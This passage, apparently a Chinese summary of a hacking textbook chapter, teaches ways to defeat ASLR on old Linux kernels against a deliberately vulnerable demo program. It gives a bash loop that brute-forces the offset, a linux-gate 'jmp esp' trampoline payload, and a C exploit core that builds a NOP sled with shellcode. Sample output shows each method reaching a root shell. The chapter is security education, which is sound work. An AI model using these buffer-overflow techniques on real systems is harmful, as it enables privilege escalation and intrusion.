另一種防護對策採取略為不同的取徑:不阻止堆疊上的執行,而是隨機化堆疊的記憶體佈局——這就是 ASLR(Address Space Layout Randomization)。
針對第二步:控制流程#
記憶體佈局被隨機化後,攻擊者無法把執行導向等待中的 shellcode,因為他不知道它在哪。Linux 核心自 2.6.12 起預設啟用(本書 LiveCD 關閉了它,可用
echo 1 > /proc/sys/kernel/randomize_va_space開啟)。
reader@hacking:~/booksrc $ ./aslr_demo
buffer is at 0xbffbbf90
reader@hacking:~/booksrc $ ./aslr_demo
buffer is at 0xbfe4de20 # 每次執行位址都變
隨機化改變堆疊上一切的位置,包括環境變數——
getenvaddr每次算出的 shellcode 位址都不同。這對阻止一般攻擊者很有效,但不總是足以阻止有決心的駭客。
找出 offset:ASLR 不阻止記憶體毀損#
由於 ASLR 不阻止記憶體毀損,仍可用暴力 BASH 腳本找出返回位址的 offset。程式退出時 main 的回傳值是退出狀態,存在 BASH 變數 $?,可用來偵測崩潰:
for i in $(seq 1 50); do
echo "Trying offset of $i words"
./aslr_demo $(perl -e "print 'AAAA'x$i")
if [ $? != 1 ]; then
echo "==> Correct offset to return address is $i words"
break
fi
done用 GDB 在
main的ret指令設中斷點觀察多次執行,會發現:儘管隨機化,ESP 的位址與 buffer 位址非常接近——因為兩者都在堆疊上、被同一個隨機值偏移,彼此相對不變。單步執行顯示ret後 ESP 指向返回位址之後的堆疊記憶體。若有辦法讓 EIP 跳到 ESP 所指之處就好了……
從 linux-gate 彈射(舊核心)#
linux-gate 的 jmp esp 彈射技巧(Linux < 2.6.18)
這技術在 Linux 2.6.18 起失效(開發者修補了它)。LiveCD 用 2.6.20,所以下例來自跑 2.6.17 的機器。概念仍可套用到別處。
linux-gate.so.1 是核心暴露的虛擬動態共享物件,用來加速系統呼叫。它從核心直接載入、磁碟上不存在,而且即使開了 ASLR,每個程序中它都在同一位址(0xffffe000)。
技巧是在這塊記憶體中搜尋 jmp esp 指令(機器碼 ff e4),這指令會把 EIP 跳到 ESP 所指之處:
matrix@loki /hacking $ ./find_jmpesp
found jmp esp at 0xffffe777
用 0xffffe777 覆寫返回位址:main 返回時跳進 linux-gate,jmp esp 立刻又跳回 ESP 所指處——也就是返回位址之後。把 shellcode 放在那裡,EIP 就彈進去:
matrix@loki /hacking $ ./aslr_demo $(perl -e 'print "\x77\xe7\xff\xff"x20')$(cat scode.bin)
sh-3.1#
不過 LiveCD 的 2.6.20 核心已找不到這個可預測位址的指令。
靠 execl() 縮小隨機性,再賭機率#
新核心沒有可預測的 jmp esp,還能怎麼繞過 ASLR?關鍵洞察在 execl() 家族:
execl() 至少縮小了隨機範圍、給出大致的位址區間,剩餘的不確定性用 NOP sled 處理:
// aslr_execl_exploit.c 核心
ret = (unsigned int) &i - offset + 200; // 加 200 跳過覆寫區,落在 NOP sled
for(i=0; i < 90; i+=4) // 用返回位址填滿覆寫區
*((unsigned int *)(buffer+i)) = ret;
memset(buffer+84, 0x90, 900); // 建大 NOP sled
memcpy(buffer+900, shellcode, sizeof(shellcode));
execl("./aslr_demo", "aslr_demo", buffer, NULL);偶爾隨機化仍讓漏洞利用失敗,但它只需成功一次——這正利用了「我們能想試幾次就試幾次」的事實:
reader@hacking:~/booksrc $ ./a.out 1004
Segmentation fault
reader@hacking:~/booksrc $ ./a.out 1004
sh-3.2# whoami
root
應用知識#
這類情境正是駭客之所以是一門藝術的原因。電腦安全的狀態是不斷變化的地景,特定弱點每天被發現與修補。但只要你理解本書核心駭客技術背後的概念,就能以新穎巧妙的方式套用它們,解決當下的問題。 這些技術像樂高積木,能以數百萬種組合使用。
一支程式的規則由創造者定義,所以利用一支號稱安全的程式,不過就是用他們自己的規則打敗他們。stack guard、IDS 等聰明方法試圖彌補這些問題,但這些方案也不完美——駭客的巧思總能在其中找到漏洞。只要想想他們沒想到的事。